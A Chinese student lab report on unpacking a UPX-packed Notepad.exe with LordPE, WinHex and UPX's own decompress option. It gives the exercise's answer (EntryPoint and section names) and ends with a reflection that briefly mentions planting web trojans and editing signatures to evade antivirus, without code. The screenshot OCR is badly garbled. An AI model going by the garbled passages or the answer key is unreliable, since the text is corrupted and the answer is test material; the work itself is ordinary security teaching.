对目标程序< Notepad.exe>,实施脱壳操作,获取脱壳后目标程序的 EntryPoint 值及区块名称(如目标程序的 EntryPoint 值为 A、区块名称为 B 和 C,提交答案为: ABC)。

【实战提示】

1. 使用 LordPE 工具查看脱壳前目标程序< Notepad.exe >PE 信息,确定目标程序使用的什 么外壳。

2. 使用 UPX 壳本身实现脱壳操作。

3. 使用 LordPE 加载脱壳后目标程序,查找目标程序的 EntryPoint 值及各个区块名称。 解题需知

1. UPX 压缩壳

压缩壳,以减小文件体积为目标,加密保护方面不是他的重点,因此生成的 IAT 都是没有加密的,用 ImportREC 可以实现重建输入表,如 ASPack、UPX 等。目标程序使用 UPX 压缩壳加壳处理过,加壳后破坏了目标程序的输入表。

UPX 壳对于 EXE 文件破坏了输入表,对于 DLL 文件既破坏了输入表也破坏了重定位表,尽量使用 UPX 壳自身命令脱壳,只有在特殊情况下在尝试手动脱壳。

2. LordPE: 是一款功能强大的 PE 文件分析、修改、脱壳软件。LordPE 是查看 PE 格式文件信息的首选工具,并且可以修改相关信息。

3. 操作流程



1. 查看日标程序
 Notepad.exe >PE 信息
 (1) 运行 LordPE 工具,单击【PE Editor】按键,加载目标程序,查看 PE 信息,如下图所

<u> </u>	<b>F</b> ( <b>D</b> ) (			I D	4000001 (古方师協士))
不,	EntryPoint:	BF30h(加定后入)	山 息 臣 氏 KVA 1日 ノ・	ImageBase:	40000h(闪任映像奉耶)。
				8	

地址(Q) 】 搜索结果	2 M	1 新花 並得來		● ▶ 转到
 推条即理 技下面任意或所有条件进 行提索。 全部或部分文件名(①): Notepad.exe	<ul> <li>The teps d. exe</li> <li>notepad.exe</li> <li>notepad.exe</li> <li>notepad.exe</li> <li>notepad.exe</li> <li>Notepad.exe</li> </ul>	C / WINDOWS/\$N\Service C / WINDOWS/\$N\Service C / WINDOWS/\$ystem32 C / WINDOWS/ServicePac C / Unetpub/www.root/so	PackUninstall\$ kFiles\i386 ftware_sec\20	6 <sup>1</sup> 6 <sup>1</sup> 6 <sup>1</sup> 6 <sup>1</sup> 1 <sup>1</sup> 转
Vietudio – vysta vsikini, karaf 24 uh sev Spaten)     Spaten)     Spaten     Spaten)     Sp	c*/document(z)         analoge           addeptinformation         00008F30         State           000008F30         Note         00000000         Note           000000000         Tim         00000000         State           000000000         State         00000000         State           000000000         State         00000000         State           000000000         State         State         Note           000000000         State         State         Note           000000000         State         State         Note           00000000000         State         State         Note           000000000000000         State         State         Note           000000000000000000000000000000000000	d safting:\sdein:streator\Q           system:         0002           obe0/05 ection:         0003           obe0/05 ection:         950 2CF5F           soldestang:         950 2CF5F           soldestang:         950 2CF5F           soldestang:         9000000 ?           soldestang:         0000000 ?           soldestang:	the set of the se	PE Editor     Break & Ente     Rebuild FE     Unippl     Duriper Serve     Options
				About Exit

(2) 单击【Sections】按键,查看其区块信息如下图所示,UPX 加壳后已经将区块重新组织, 分别为 UPX0、UPX1、UPX2 等。其中 UPX0 的 Raw Size 是 0,UPX 是将解压缩后的原始 文件数据映射到此区块中。UPX 的解压缩执行代码在 UPX1 里,被压缩的原始数据放在

2	地址 @ 搜索结果	linew?	1.000			2 🔁	转到
4.e ****	搜索助理 <b>按下而任意或所有条件</b> 行 <b>搜索。</b> 全部或部分文件名( <u>0</u> ): Notepad.exe	× 名称 notepad.exe notepad.exe notepad.exe notepad.exe Notepad.exe	所在 C:V C:V C:V C:V	文件夹 MINDOWS WINDOWS\\$NtServi WINDOWS\system32 WINDOWS\ServiceP Inetpub\wwwroot\:	cePackUninstall\$ ackFiles\i386 software_sec\20		6 <sup>1</sup> 6 <sup>1</sup> 6 <sup>1</sup> 1 <sup>1</sup> 转到
		liter]=c:\documen	ts and set $< 10$	General Contraction			_   □   ×
ы.	Basic	PE Header Information			04		
a ace	Sigstem] In US Sigstem] In US Sigstem] In US Sigstemool/system32 Sigstem Columidows/system32 Columidows/system32 Columidows/system32 Columidows/system32 Columidows/system32 Columidows/system32 Columidows/system32	me V01fset <0 0001000 <1 0009000 <2 00000000 <2 00000000 0108	VSize R0ffset 00008000 000004 00004000 0000040 00001000 000040 Num0/RvsAndSizes:	RSize           00         0000000           00         00003C00           00         00000200	Plags E000080 E000040 C0000040	B	eak & Enter Rebuild PE Unsplit Imper Server Options
4	Pah	ImageBase	ImageSize	6		<b>J</b>	About Exit

UPX1和 UPX2中,从而确定目标程序使用的 UPX 压缩壳,如下图所示。

2. 使用 UPX 壳自身对目标程序< Notepad.exe >实施脱壳

UPX 外壳可以使用 UPX 自身来去除,这样脱壳得最完美,操作时,使用与加壳所用版本相同的 UPX 脱壳,或者选用更高版本的 UPX。

脱壳命令为: UPX -d 文件名。

2

(1) 使用 WinHex 十六进制工具查找 UPX 的版本号。

运行 WinHex 工具后, 在菜单栏依次点击"File/Open", 加载目标程序, 查找到 UPX 加壳的标志"UPX!", 可以使用"Ctrl+F"快捷键查找, 定位到"UPX!"位置后, 如下图 所示。

96



UPX0.9x~UPX1.2x 各版本在标志位"UPX!"后面的 4 位字节均为"0C 09 ?? ??",更高版本是"0D 09 ?? ??",因此由上图可知目标程序使用的 UPX 壳为 UPX1.0 以上的版本。 (2)使用 UPX 加壳自身实现脱壳操作

运行 UPX 加壳工具,单击【...】按键,加载目标程序<Notepad.exe>,选择"解压缩"方式,单击【开始】按键实施脱壳操作,如下图所示。

NNN.





(3)运行脱壳后的目标程序,查看是否能够运行成功。脱壳成功后,运行状态如下图所示。

3. 获取脱壳后目标程序的 EntryPoint 值

运行 LordPE 工具,单击【PE Editor】按键,加载脱壳及重建输入表后的目标程序文件 "notepad.exe", EntryPoint 值为: 000020CD,如下图所示。

実的通知。 実的通知。	C (Nocuments and Settings)Administrator) 日 Descent (1) の作 2 (2) ののののでする and Settings (Administrator) 日 の 病語 (2) (2) (2) (2) (2) (2) (2) (2) (2) (2)	· 〕 秋到
「LordfX Letoxe」 トアック	特和文件表任务 ※ ジー ジージージージージージージージージージージージージージージージージー	ume .pl
Path § (system) § (system) § (system) § (system) § (system) § (system) § (system) © (system)	PID       ImageBase       ImageBize       PE Editor         00000000       00000000       00000000       Break & Enter         Basic PE Header Information       DK       Save       Save         ImageBase       00002000       Number0FSections:       0002       Save         Base0FCode:       00001000       Size0Headers:       00001000       ?*       Directories         Base0FCode:       00001000       Size0Headers:       0000000 ?       TDSC       Directories       PE LC         SectionAlignment:       00001000       Size0Headers:       000000 ?       TDSC       Compare       About         Magic:       010B       Num0rBruAndSizes:       0000010 *       L       About	

单击【Sections】按键,查看区块文件的变化,发现区块名称不是 UPX0、UPX1、UPX2,变为了.text、.rdata、.data,如下图所示,表明已经完整的实现了脱壳。

NN.





通过本次上机实验,我学到了很多东西,对课堂所学有了进一步的理解。在病毒攻防部分, 我理解 Word 宏病毒的感染方式、工作原理及杀毒方法,并针对实验特定的 word 宏病毒设 计了专杀工具;掌握了 linux 下恶意脚本执行的原理,了解了一般恶意脚本的攻击方式,并 知道了如何防治恶意脚本的攻击; 掌握 clamAV 安装方法并了解了相关操作; 知道了文件 型病毒的原理即 PE 文件结构,知道了文件型病毒的发现及清除方法。在网络攻击与防御部 分,我了解了木马的工作原理,实验步骤实践学习网页木马,利用工具生成网页木马,完成 对默认网站的"挂马"过程,并通过木马对目标主机进行操作。知道了木马的捆绑与隐藏, 理解了木马的植入、清除过程,知道了通过对特征码的修改,实现了对木马安装程序的免杀, 并能够对特定的木马进行删除。在实验的拓展部份,我学会了使用 LoadPE 工具,查看各个 块实际偏移地址;学会了根据 IID 数组内容确定 DLL 文件名称和 DLL 文件偏移地址,能够 通过 OllyDbg 工具,加载 DLL 文件并查找程序入口点 OEP;知道如何使用 UPX 壳本身实 现脱壳操作。本次实践锻炼了自己的动手能力及思维能力,在合作实验中和同学共同完成任 务,让我明白了合作的重要性,提高了自己的团队合作能力。通过本次实验,我发现我还有 很多知识需要学习,对部分知识掌握还有所欠缺,让我明白了实践出真知,只有通过不断地 学习积累经验,才能把知识转化为技能。总之,本次上机实践课我获益匪浅。

# 评分表

考核标准 (1)正确理解和掌握实验所涉及的概念和原理(10%);	得分
(2) 报告整洁、完整(30%);	
(3)运行结果正确、分析准确(30%);	
(4) 实验过程中,具有严谨的学习态度(10%);	
(5) 实验具有一定的创新性(20%);	
sous survey	